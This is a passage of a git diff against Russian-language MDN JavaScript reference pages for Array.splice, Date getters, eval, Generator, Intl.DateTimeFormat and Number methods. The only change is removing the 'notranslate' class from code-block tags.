id="Parameters">Параметры</h3> @@ -44,7 +44,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/splice <h3 id="Удаляет_0_элементов_по_индексу_2_и_вставляет_drum">Удаляет 0 элементов по индексу 2 и вставляет "drum"</h3> -<pre class="brush: js notranslate">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon']; +<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon']; var removed = myFish.splice(2, 0, 'drum'); // myFish равен ["angel", "clown", "drum", "mandarin", "sturgeon"] @@ -52,7 +52,7 @@ var removed = myFish.splice(2, 0, 'drum'); <h3 id="Удаляет_1_элемент_по_индексу_3">Удаляет 1 элемент по индексу 3</h3> -<pre class="brush: js notranslate">var myFish = ['angel', 'clown', 'drum', 'mandarin', 'sturgeon']; +<pre class="brush: js">var myFish = ['angel', 'clown', 'drum', 'mandarin', 'sturgeon']; var removed = myFish.splice(3, 1); // removed равен ["mandarin"] @@ -60,7 +60,7 @@ var removed = myFish.splice(3, 1); <h3 id="Удаляет_1_элемент_по_индексу_2_и_вставляет_trumpet">Удаляет 1 элемент по индексу 2 и вставляет "trumpet"</h3> -<pre class="brush: js notranslate">var myFish = ['angel', 'clown', 'drum', 'sturgeon']; +<pre class="brush: js">var myFish = ['angel', 'clown', 'drum', 'sturgeon']; var removed = myFish.splice(2, 1, 'trumpet'); // myFish равен ["angel", "clown", "trumpet", "sturgeon"] @@ -68,7 +68,7 @@ var removed = myFish.splice(2, 1, 'trumpet'); <h3 id="Удаляет_2_элемента_начиная_с_индекса_0_и_вставляет_parrot_anemone_и_blue">Удаляет 2 элемента начиная с индекса 0 и вставляет "parrot", "anemone" и "blue"</h3> -<pre class="brush: js notranslate">var myFish = ['angel', 'clown', 'trumpet', 'sturgeon']; +<pre class="brush: js">var myFish = ['angel', 'clown', 'trumpet', 'sturgeon']; var removed = myFish.splice(0, 2, 'parrot', 'anemone', 'blue'); // myFish равен ["parrot", "anemone", "blue", "trumpet", "sturgeon"] @@ -76,7 +76,7 @@ var removed = myFish.splice(0, 2, 'parrot', 'anemone', 'blue'); <h3 id="Удаляет_2_элемента_начиная_с_индекса_2">Удаляет 2 элемента начиная с индекса 2</h3> -<pre class="brush: js notranslate">var myFish = ['parrot', 'anemone', 'blue', 'trumpet', 'sturgeon']; +<pre class="brush: js">var myFish = ['parrot', 'anemone', 'blue', 'trumpet', 'sturgeon']; var removed = myFish.splice(myFish.length - 3, 2); // myFish равен ["parrot", "anemone", "sturgeon"] @@ -84,7 +84,7 @@ var removed = myFish.splice(myFish.length - 3, 2); <h3 id="Удаляет_1_элемент_по_индексу_-2">Удаляет 1 элемент по индексу -2</h3> -<pre class="brush: js notranslate">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon']; +<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon']; var removed = myFish.splice(-2, 1); // myFish равен ["angel", "clown", "sturgeon"] @@ -92,7 +92,7 @@ var removed = myFish.splice(-2, 1); <h3 id="Удаляет_все_элементы_после_индекса_2_включительно">Удаляет все элементы после индекса 2 (включительно)</h3> -<pre class="brush: js notranslate">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon']; +<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon']; var removed = myFish.splice(2); // myFish равен ["angel", "clown"] diff --git a/files/ru/web/javascript/reference/global_objects/bigint/asuintn/index.html b/files/ru/web/javascript/reference/global_objects/bigint/asuintn/index.html index 6f3c09ba56..98395a3c5c 100644 --- a/files/ru/web/javascript/reference/global_objects/bigint/asuintn/index.html +++ b/files/ru/web/javascript/reference/global_objects/bigint/asuintn/index.html @@ -13,7 +13,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/asUintN <h2 id="Syntax">Syntax</h2> -<pre class="syntaxbox notranslate">BigInt.asUintN(<var>width</var>, <var>bigint</var>);</pre> +<pre class="syntaxbox">BigInt.asUintN(<var>width</var>, <var>bigint</var>);</pre> <h3 id="Parameters">Parameters</h3> @@ -34,7 +34,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/asUintN <p>The <code>BigInt.asUintN()</code> method can be useful to stay in the range of 64-bit arithmetic.</p> -<pre class="brush: js notranslate">const max = 2n ** 64n - 1n; +<pre class="brush: js">const max = 2n ** 64n - 1n; BigInt.asUintN(64, max); // ↪ 18446744073709551615n diff --git a/files/ru/web/javascript/reference/global_objects/date/getdate/index.html b/files/ru/web/javascript/reference/global_objects/date/getdate/index.html index 52e0d9eefa..9c6667995c 100644 --- a/files/ru/web/javascript/reference/global_objects/date/getdate/index.html +++ b/files/ru/web/javascript/reference/global_objects/date/getdate/index.html @@ -17,7 +17,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getDate <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>dateObj</var>.getDate()</code></pre> +<pre class="syntaxbox"><code><var>dateObj</var>.getDate()</code></pre> <h3 id="Parameters">Параметры</h3> @@ -33,7 +33,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getDate <p>Вторая инструкция в примере ниже присваивает значение 25 переменной <code>day</code> из значения объекта {{jsxref("Global_Objects/Date", "Date")}} <code>date</code>.</p> -<pre class="brush: js notranslate">let date = new Date('December 25, 1995 23:15:30'); +<pre class="brush: js">let date = new Date('December 25, 1995 23:15:30'); let day = date.getDate(); console.log(day); // 25 diff --git a/files/ru/web/javascript/reference/global_objects/date/getday/index.html b/files/ru/web/javascript/reference/global_objects/date/getday/index.html index 654e43455f..c2c2bd4e8a 100644 --- a/files/ru/web/javascript/reference/global_objects/date/getday/index.html +++ b/files/ru/web/javascript/reference/global_objects/date/getday/index.html @@ -17,7 +17,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getDay <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>dateObj</var>.getDay()</code></pre> +<pre class="syntaxbox"><code><var>dateObj</var>.getDay()</code></pre> <h3 id="Parameters">Параметры</h3> @@ -33,7 +33,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getDay <p>Вторая инструкция в примере ниже присваивает значение 1 переменной <code>weekday</code> из значения объекта {{jsxref("Global_Objects/Date", "Date")}} <code>date</code>. 25 декабря 1995 года было понедельником.</p> -<pre class="brush: js notranslate">let date = new Date('December 25, 1995 23:15:30'); +<pre class="brush: js">let date = new Date('December 25, 1995 23:15:30'); let weekday = date.getDay(); console.log(weekday); // 1 @@ -42,7 +42,7 @@ console.log(weekday); // 1 <div class="blockIndicator note"> <p><strong>Примечание:</strong> При необходимости полное название дня (например, "<code>Понедельник</code>") можно получить, используя {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}} с параметром <code>options</code> parameter. С помощью этого метода упрощается интернационализация:</p> -<pre class="brush: js notranslate">let options = { weekday: 'long'}; +<pre class="brush: js">let options = { weekday: 'long'}; console.log(new Intl.DateTimeFormat('en-US', options).format(date)); // Monday diff --git a/files/ru/web/javascript/reference/global_objects/date/getfullyear/index.html b/files/ru/web/javascript/reference/global_objects/date/getfullyear/index.html index 5a7d09c7bf..60aeb1a1ac 100644 --- a/files/ru/web/javascript/reference/global_objects/date/getfullyear/index.html +++ b/files/ru/web/javascript/reference/global_objects/date/getfullyear/index.html @@ -19,7 +19,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getFullYear <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>dateObj</var>.getFullYear()</code></pre> +<pre class="syntaxbox"><code><var>dateObj</var>.getFullYear()</code></pre> <h3 id="Parameters">Параметры</h3> @@ -35,7 +35,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getFullYear <p>В следующем примере переменной <code>year</code> присваивается четырёхзначное значение текущего года.</p> -<pre class="brush: js notranslate">let today = new Date(); // Mon Nov 23 2020 15:23:46 GMT+0300 (Москва, стандартное время) +<pre class="brush: js">let today = new Date(); // Mon Nov 23 2020 15:23:46 GMT+0300 (Москва, стандартное время) let year = today.getFullYear(); // 2020 </pre> diff --git a/files/ru/web/javascript/reference/global_objects/date/gethours/index.html b/files/ru/web/javascript/reference/global_objects/date/gethours/index.html index 4e927a3454..2f0c788d1a 100644 --- a/files/ru/web/javascript/reference/global_objects/date/gethours/index.html +++ b/files/ru/web/javascript/reference/global_objects/date/gethours/index.html @@ -17,7 +17,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getHours <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>dateObj</var>.getHours()</code></pre> +<pre class="syntaxbox"><code><var>dateObj</var>.getHours()</code></pre> <h3 id="Parameters">Параметры</h3> @@ -33,7 +33,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getHours <p>Вторая инструкция в примере ниже присваивает значение 23 переменной <code>hours</code> из значения объекта {{jsxref("Global_Objects/Date", "Date")}} <code>date</code>.</p> -<pre class="brush: js notranslate">let date = new Date('December 25, 1995 23:15:30'); +<pre class="brush: js">let date = new Date('December 25, 1995 23:15:30'); let hours = date.getHours(); console.log(hours); // 23 diff --git a/files/ru/web/javascript/reference/global_objects/date/getmilliseconds/index.html b/files/ru/web/javascript/reference/global_objects/date/getmilliseconds/index.html index 4d848fc5e8..3d9d51b204 100644 --- a/files/ru/web/javascript/reference/global_objects/date/getmilliseconds/index.html +++ b/files/ru/web/javascript/reference/global_objects/date/getmilliseconds/index.html @@ -17,7 +17,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMilliseconds <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>dateObj</var>.getMilliseconds()</code></pre> +<pre class="syntaxbox"><code><var>dateObj</var>.getMilliseconds()</code></pre> <h3 id="Parameters">Параметры</h3> @@ -33,7 +33,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMilliseconds <p>В следующем примере переменной <code>milliseconds</code> присваиваются миллисекунды текущего времени:</p> -<pre class="brush: js notranslate">let today = new Date(); +<pre class="brush: js">let today = new Date(); let milliseconds = today.getMilliseconds(); console.log(milliseconds); // 709 diff --git a/files/ru/web/javascript/reference/global_objects/date/getminutes/index.html b/files/ru/web/javascript/reference/global_objects/date/getminutes/index.html index 533cba2dc5..0b97f5e1f7 100644 --- a/files/ru/web/javascript/reference/global_objects/date/getminutes/index.html +++ b/files/ru/web/javascript/reference/global_objects/date/getminutes/index.html @@ -17,7 +17,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMinutes <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>dateObj</var>.getMinutes()</code></pre> +<pre class="syntaxbox"><code><var>dateObj</var>.getMinutes()</code></pre> <h3 id="Parameters">Параметры</h3> @@ -33,7 +33,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMinutes <p>Вторая инструкция в примере ниже присваивает значение 15 переменной <code>minutes</code> из значения объекта {{jsxref("Global_Objects/Date", "Date")}} <code>date</code>.</p> -<pre class="brush: js notranslate">let date = new Date('December 25, 1995 23:15:30'); +<pre class="brush: js">let date = new Date('December 25, 1995 23:15:30'); let minutes = date.getMinutes(); console.log(minutes); // 15 diff --git a/files/ru/web/javascript/reference/global_objects/date/getmonth/index.html b/files/ru/web/javascript/reference/global_objects/date/getmonth/index.html index 5b42ea933a..001f258a2c 100644 --- a/files/ru/web/javascript/reference/global_objects/date/getmonth/index.html +++ b/files/ru/web/javascript/reference/global_objects/date/getmonth/index.html @@ -17,7 +17,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMonth <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>dateObj</var>.getMonth()</code></pre> +<pre class="syntaxbox"><code><var>dateObj</var>.getMonth()</code></pre> <h3 id="Parameters">Параметры</h3> @@ -33,7 +33,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMonth <p>Вторая инструкция в примере ниже присваивает значение 11 переменной <code>month</code> из значения переменной <code>date</code> объекта {{jsxref("Global_Objects/Date", "Date")}}.</p> -<pre class="brush: js notranslate">let date = new Date('December 25, 1995 23:15:30'); +<pre class="brush: js">let date = new Date('December 25, 1995 23:15:30'); let month = date.getMonth(); console.log(month); // 11 diff --git a/files/ru/web/javascript/reference/global_objects/date/getseconds/index.html b/files/ru/web/javascript/reference/global_objects/date/getseconds/index.html index 6027da393b..e2e5fecaac 100644 --- a/files/ru/web/javascript/reference/global_objects/date/getseconds/index.html +++ b/files/ru/web/javascript/reference/global_objects/date/getseconds/index.html @@ -17,7 +17,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getSeconds <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>dateObj</var>.getSeconds()</code></pre> +<pre class="syntaxbox"><code><var>dateObj</var>.getSeconds()</code></pre> <h3 id="Parameters">Параметры</h3> @@ -33,7 +33,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getSeconds <p>Вторая инструкция в примере ниже присваивает значение 30 переменной <code>seconds</code> из значения переменной <code>date</code> объекта {{jsxref("Global_Objects/Date", "Date")}}.</p> -<pre class="brush: js notranslate">let date = new Date('December 25, 1995 23:15:30'); +<pre class="brush: js">let date = new Date('December 25, 1995 23:15:30'); let seconds = date.getSeconds(); console.log(seconds); // 30 diff --git a/files/ru/web/javascript/reference/global_objects/date/gettime/index.html b/files/ru/web/javascript/reference/global_objects/date/gettime/index.html index 8f380c6208..f4b2c740b6 100644 --- a/files/ru/web/javascript/reference/global_objects/date/gettime/index.html +++ b/files/ru/web/javascript/reference/global_objects/date/gettime/index.html @@ -23,7 +23,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getTime <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>dateObj</var>.getTime()</code></pre> +<pre class="syntaxbox"><code><var>dateObj</var>.getTime()</code></pre> <h3 id="Parameters">Параметры</h3> @@ -39,7 +39,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getTime <p>Конструирует новый объект даты с идентичным значением времени.</p> -<pre class="brush: js notranslate">let birthday = new Date(2020, 12, 20); +<pre class="brush: js">let birthday = new Date(2020, 12, 20); let copy = new Date(); copy.setTime(birthday.getTime()); @@ -50,7 +50,7 @@ console.log(copy.setTime(birthday.getTime())); // 1611090000000 <p>Вычитанием двух последовательных вызовов метода <code>getTime()</code> на заново сконструированных объектах {{jsxref("Global_Objects/Date", "Date")}} можно замерить промежуток времени, произошедший между двумя этими вызовами. Это можно использовать для вычисления времени выполнения неких операций.</p> -<pre class="brush: js notranslate">let end, start; +<pre class="brush: js">let end, start; start = new Date(); for (let i = 0; i < 1000; i++) { diff --git a/files/ru/web/javascript/reference/global_objects/date/index.html b/files/ru/web/javascript/reference/global_objects/date/index.html index bf3ce884dd..0f8ddf6b79 100644 --- a/files/ru/web/javascript/reference/global_objects/date/index.html +++ b/files/ru/web/javascript/reference/global_objects/date/index.html @@ -24,7 +24,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code>new Date(); +<pre class="syntaxbox"><code>new Date(); new Date(<var>value</var>); new Date(<var>dateString</var>); new Date(<var>year</var>, <var>month</var>[, <var>day</var>[, <var>hour</var>[, <var>minute</var>[, <var>second</var>[, <var>millisecond</var>]]]]]); @@ -118,7 +118,7 @@ new Date(<var>year</var>, <var>month</var>[, <var>day</var>[, <var>hour</var>[, <p><strong>Обратите внимание:</strong> разбор строкового представления дат с помощью конструктора <code>Date</code> (так же как эквивалентный ему метод <code>Date.parse</code>) может иметь различия и несоответствия в браузерах.</p> </div> -<pre class="brush: js notranslate">var today = new Date(); +<pre class="brush: js">var today = new Date(); var birthday = new Date('December 17, 1995 03:24:00'); var birthday = new Date('1995-12-17T03:24:00'); var birthday = new Date(1995, 11, 17); @@ -129,7 +129,7 @@ var birthday = new Date(1995, 11, 17, 3, 24, 0); <p>Для того, чтобы создать и получить даты между 0 и 99 годом, нужно использовать методы {{jsxref("Date.prototype.setFullYear()")}} и {{jsxref("Date.prototype.getFullYear()")}}.</p> -<pre class="brush: js notranslate">var date = new Date(98, 1); // Sun Feb 01 1998 00:00:00 GMT+0000 (GMT) +<pre class="brush: js">var date = new Date(98, 1); // Sun Feb 01 1998 00:00:00 GMT+0000 (GMT) // Устаревший метод, 98 отображается на 1998 год date.setYear(98); // Sun Feb 01 1998 00:00:00 GMT+0000 (GMT) @@ -141,7 +141,7 @@ date.setFullYear(98); // Sat Feb 01 0098 00:00:00 GMT+0000 (BST) <p>Следующие примеры показывают, как определить разницу во времени между двумя датами в JavaScript:</p> -<pre class="brush: js notranslate">// Используя объекты Date +<pre class="brush: js">// Используя объекты Date var start = Date.now(); // Событие, для которого замеряется время, происходит тут: @@ -150,7 +150,7 @@ var end = Date.now(); var elapsed = end - start; // затраченное время в миллисекундах </pre> -<pre class="brush: js notranslate">// Используя встроенные методы +<pre class="brush: js">// Используя встроенные методы var start = new Date(); // Событие, для которого замеряется время, происходит тут: @@ -159,7 +159,7 @@ var end = new Date(); var elapsed = end.getTime() - start.getTime(); // затраченное время в миллисекундах </pre> -<pre class="brush: js notranslate">// Проверяет функцию и возвращает её возвращаемое значение +<pre class="brush: js">// Проверяет функцию и возвращает её возвращаемое значение function printElapsedTime(fTest) { var nStartTime = Date.now(), vReturn = fTest(), @@ -179,7 +179,7 @@ yourFunctionReturn = printElapsedTime(yourFunction); <h3 id="Получить_количество_секунд_с_начала_эпохи_Unix">Получить количество секунд с начала эпохи Unix</h3> -<pre class="notranslate"><code>var seconds = Math.floor(Date.now() / 1000);</code></pre> +<pre><code>var seconds = Math.floor(Date.now() / 1000);</code></pre> <p>В этом случае важно возвращать только целое число (так что простое деление не подойдёт), а также возвращать только фактически прошедшие секунды (поэтому этот код использует {{jsxref ("Math.floor ()")}} а не {{jsxref ("Math.round ()")}}).</p> diff --git a/files/ru/web/javascript/reference/global_objects/eval/index.html b/files/ru/web/javascript/reference/global_objects/eval/index.html index f3bad3a0e3..b5cfcb75ca 100644 --- a/files/ru/web/javascript/reference/global_objects/eval/index.html +++ b/files/ru/web/javascript/reference/global_objects/eval/index.html @@ -23,7 +23,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/eval <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code>eval(<em>string</em>)</code></pre> +<pre class="syntaxbox"><code>eval(<em>string</em>)</code></pre> <h3 id="Параметры">Параметры</h3> @@ -46,19 +46,19 @@ translation_of: Web/JavaScript/Reference/Global_Objects/eval <p>Если аргумент, переданный <code>eval()</code>, не является строкой, <code>eval() </code>возвращает его неизменным. В следующем примере определён конструктор <code>String</code>, и <code>eval()</code> не вычисляет значение выражения, записанного в строковом виде, а возвращает объект типа <code>String</code>.</p> -<pre class="brush:js notranslate">eval(new String("2 + 2")); // возвращает объект типа String, содержащий "2 + 2" +<pre class="brush:js">eval(new String("2 + 2")); // возвращает объект типа String, содержащий "2 + 2" eval("2 + 2"); // возвращает 4 </pre> <p>Это ограничение легко обойти при помощи <code>toString()</code>.</p> -<pre class="brush:js notranslate">var expression = new String("2 + 2"); +<pre class="brush:js">var expression = new String("2 + 2"); eval(expression.toString()); </pre> <p>Если вы используете <code>eval</code> косвенно, вызовом его через ссылку, а не просто <code>eval</code>, в<a href="http://www.ecma-international.org/ecma-262/5.1/#sec-10.4.2"> ECMAScript 5</a> это работает в глобальной области видимости, а не в локальной; это значит, что <code>eval</code> будет вызван в глобальной области видимости, а код будет выполнен с отсутствием доступа к локальным переменным в пределах области видимости, где он был вызван.</p> -<pre class="brush:js notranslate">function test() { +<pre class="brush:js">function test() { var x = 2, y = 4; console.log(eval("x + y")); // Прямой вызов, использует локальную области видимости, результат - 6 var geval = eval; @@ -78,7 +78,7 @@ eval(expression.toString()); <p>Вам не следует использовать <code>eval()</code>, чтобы конвертировать имена свойств в свойства. Рассматривая следующий пример, где свойство объекта используемое для доступа неизвестно до выполнения кода. Это можно сделать с eval:</p> -<pre class="brush:js notranslate">var obj = { a: 20, b: 30 }; +<pre class="brush:js">var obj = { a: 20, b: 30 }; var propname = getPropName(); // возвращает "a" или "b" eval( "var result = obj." + propname ); @@ -86,7 +86,7 @@ eval( "var result = obj." + propname ); <p>Однако, <code>eval()</code> здесь не нужен. По факту, использование здесь его удивляет. Вместо него используйте <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors" title="JavaScript/Reference/Operators/Member_Operators">доступ к свойствам</a>, который быстрее и безопаснее:</p> -<pre class="brush:js notranslate">var obj = { a: 20, b: 30 }; +<pre class="brush:js">var obj = { a: 20, b: 30 }; var propname = getPropName(); // возвращает "a" или "b" var result = obj[ propname ]; // obj[ "a" ] то же, что и obj.a </pre> @@ -95,7 +95,7 @@ var result = obj[ propname ]; // obj[ "a" ] то же, что и obj.a <p>У JavaScript <a class="external" href="http://en.wikipedia.org/wiki/First-class_function">функции первого класса</a>, что значит, что вы можете передавать функции как аргументы, хранить их в переменных или свойствах объектов и так далее. Многие DOM API созданы с учётом этого, так что вы можете (и вам следует) писать:</p> -<pre class="brush: js notranslate">// вместо setTimeout(" ... ", 1000) : +<pre class="brush: js">// вместо setTimeout(" ... ", 1000) : setTimeout(function() { ... }, 1000); // вместо elt.setAttribute("onclick", "...") использовать: @@ -123,7 +123,7 @@ elt.addEventListener("click", function() { ... } , false); </pre> <p>В следующем коде оба выражения содержат <code>eval()</code>, возвращающий 42. Первое определяется строкой "<code>x + y + 1</code>"; второе - строкой "<code>42</code>".</p> -<pre class="brush:js notranslate">var x = 2; +<pre class="brush:js">var x = 2; var y = 39; var z = "42"; eval("x + y + 1"); // возвращает 42 @@ -134,7 +134,7 @@ eval(z); // вернёт 42 <p>Следующий пример использует <code>eval()</code> для получения значения выражения <code>str</code>. Эта строка состоит из JavaScript выражений, печатающих в консоль, и, если x равен пяти, призывающих z значение 42, или 0 в противном случае. Когда второе выражение будет исполнено, <code>eval()</code> будет считать выражения выполненными, а также это установит значение выражению переменной z и вернёт его.</p> -<pre class="brush:js notranslate">var x = 5; +<pre class="brush:js">var x = 5; var str = "if (x == 5) {console.log('z is 42'); z = 42;} else z = 0; "; console.log("z is ", eval(str));</pre> @@ -143,7 +143,7 @@ console.log("z is ", eval(str));</pre> <p><code>eval()</code> вернёт значение последнего выполняемого выражения</p> -<pre class="brush:js notranslate">var str = "if ( a ) { 1+1; } else { 1+2; }"; +<pre class="brush:js">var str = "if ( a ) { 1+1; } else { 1+2; }"; var a = true; var b = eval(str); // вернёт 2 @@ -156,7 +156,7 @@ console.log("b is : " + b);</pre> <h3 id="eval_как_строковое_определение_функции_включающее_и_как_префикс_и_суффикс"><code>eval</code> как строковое определение функции, включающее "(" и ")" как префикс и суффикс</h3> -<pre class="brush:js notranslate">var fctStr1 = "function a() {}" +<pre class="brush:js">var fctStr1 = "function a() {}" var fctStr2 = "(function a() {})" var fct1 = eval(fctStr1) // вернёт undefined var fct2 = eval(fctStr2) // вернёт функцию diff --git a/files/ru/web/javascript/reference/global_objects/generator/index.html b/files/ru/web/javascript/reference/global_objects/generator/index.html index 2eec389c7e..8d5768c60c 100644 --- a/files/ru/web/javascript/reference/global_objects/generator/index.html +++ b/files/ru/web/javascript/reference/global_objects/generator/index.html @@ -20,7 +20,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Generator <p>Этот объект не может быть инстанциирован напрямую. Вместо этого, экземпляр <code>Generator</code> может быть возвращён из <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/GeneratorFunction">функции-генератора</a>:</p> -<pre class="notranslate line-numbers language-html">function* generator() { +<pre class="line-numbers language-html">function* generator() { yield 1; yield 2; yield 3; @@ -47,7 +47,7 @@ console.log(generator().next().value); // 1</pre> <h3 id="Бесконечный_Итератор">Бесконечный Итератор</h3> -<pre class="brush: js notranslate">function* idMaker() { +<pre class="brush: js">function* idMaker() { var index = 0; while(true) yield index++; diff --git a/files/ru/web/javascript/reference/global_objects/intl/datetimeformat/index.html b/files/ru/web/javascript/reference/global_objects/intl/datetimeformat/index.html index f7836af5e0..c210237b7a 100644 --- a/files/ru/web/javascript/reference/global_objects/intl/datetimeformat/index.html +++ b/files/ru/web/javascript/reference/global_objects/intl/datetimeformat/index.html @@ -15,7 +15,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code>new Intl.DateTimeFormat([<var>locales</var>[, <var>options</var>]]) +<pre class="syntaxbox"><code>new Intl.DateTimeFormat([<var>locales</var>[, <var>options</var>]]) Intl.DateTimeFormat.call(<var>this</var>[, <var>locales</var>[, <var>options</var>]])</code></pre> <h3 id="Parameters">Параметры</h3> @@ -122,7 +122,7 @@ Intl.DateTimeFormat.call(<var>this</var>[, <var>locales</var>[, <var>options</va <p>При базовом использовании без определения локали <code>DateTimeFormat</code> использует локаль и опции по умолчанию.</p> -<pre class="brush: js notranslate">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0)); +<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0)); // Вывод format без аргументов зависит от реализации, // локали по умолчанию и часового пояса по умолчанию @@ -134,7 +134,7 @@ console.log(new Intl.DateTimeFormat().format(date)); <p>Этот пример показывает некоторые локализованные форматы даты и времени. Для получения формата языка, используемого в пользовательском интерфейсе вашего приложения, убедитесь, что вы указали этот язык (и, возможно, несколько запасных языков) через аргумент <code>locales</code>:</p> -<pre class="brush: js notranslate">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0)); +<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0)); // Форматирование ниже предполагает, что местный часовой пояс равен // America/Los_Angeles для локали США @@ -170,7 +170,7 @@ console.log(new Intl.DateTimeFormat(['ban', 'id']).format(date)); <p>Формат даты и времени может быть настроен с помощью аргумента <code>options</code>:</p> -<pre class="brush: js notranslate">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0)); +<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0)); // Запрашиваем день недели вместе с длинным форматом даты var options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; diff --git a/files/ru/web/javascript/reference/global_objects/number/issafeinteger/index.html b/files/ru/web/javascript/reference/global_objects/number/issafeinteger/index.html index b9be2bbc60..a6c3eaff7a 100644 --- a/files/ru/web/javascript/reference/global_objects/number/issafeinteger/index.html +++ b/files/ru/web/javascript/reference/global_objects/number/issafeinteger/index.html @@ -31,7 +31,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Number/isSafeInteger <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code>Number.isSafeInteger(<var>testValue</var>)</code></pre> +<pre class="syntaxbox"><code>Number.isSafeInteger(<var>testValue</var>)</code></pre> <h3 id="Parameters">Параметры</h3> @@ -46,7 +46,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Number/isSafeInteger <h2 id="Examples">Примеры</h2> -<pre class="brush: js notranslate">Number.isSafeInteger(3); // true +<pre class="brush: js">Number.isSafeInteger(3); // true Number.isSafeInteger(Math.pow(2, 53)); // false Number.isSafeInteger(Math.pow(2, 53) - 1); // true Number.isSafeInteger(NaN); // false @@ -58,7 +58,7 @@ Number.isSafeInteger(3.0); // true <h2 id="Specifications">Полифил</h2> -<pre class="brush: js notranslate">Number.isSafeInteger = Number.isSafeInteger || function (value) { +<pre class="brush: js">Number.isSafeInteger = Number.isSafeInteger || function (value) { return Number.isInteger(value) && Math.abs(value) <= Number.MAX_SAFE_INTEGER; };</pre> diff --git a/files/ru/web/javascript/reference/global_objects/number/toexponential/index.html b/files/ru/web/javascript/reference/global_objects/number/toexponential/index.html index 918f0ba864..1e7fbca3dc 100644 --- a/files/ru/web/javascript/reference/global_objects/number/toexponential/index.html +++ b/files/ru/web/javascript/reference/global_objects/number/toexponential/index.html @@ -16,7 +16,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Number/toExponential <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>numObj</var>.toExponential([<var>fractionDigits</var>])</code></pre> +<pre class="syntaxbox"><code><var>numObj</var>.toExponential([<var>fractionDigits</var>])</code></pre> <h3 id="Parameters">Параметры</h3> @@ -46,7 +46,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Number/toExponential <h3 id="Example_Using_toExponential">Пример: использование <code>toExponential</code></h3> -<pre class="brush: js notranslate">var numObj = 77.1234; +<pre class="brush: js">var numObj = 77.1234; console.log(numObj.toExponential()); // выведет 7.71234e+1 diff --git a/files/ru/web/javascript/reference/global_objects/number/tofixed/index.html b/files/ru/web/javascript/reference/global_objects/number/tofixed/index.html index 2d68871d4c..cc4718ae06 100644 --- a/files/ru/web/javascript/reference/global_objects/number/tofixed/index.html +++ b/files/ru/web/javascript/reference/global_objects/number/tofixed/index.html @@ -16,7 +16,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Number/toFixed <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>numObj</var>.toFixed([<var>digits</var>])</code></pre> +<pre class="syntaxbox"><code><var>numObj</var>.toFixed([<var>digits</var>])</code></pre> <h3 id="Parameters">Параметры</h3> @@ -42,7 +42,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Number/toFixed <h3 id="Example_Using_toFixed">Пример: использование <code>toFixed</code></h3> -<pre class="brush: js notranslate">var numObj = 12345.6789; +<pre class="brush: js">var numObj = 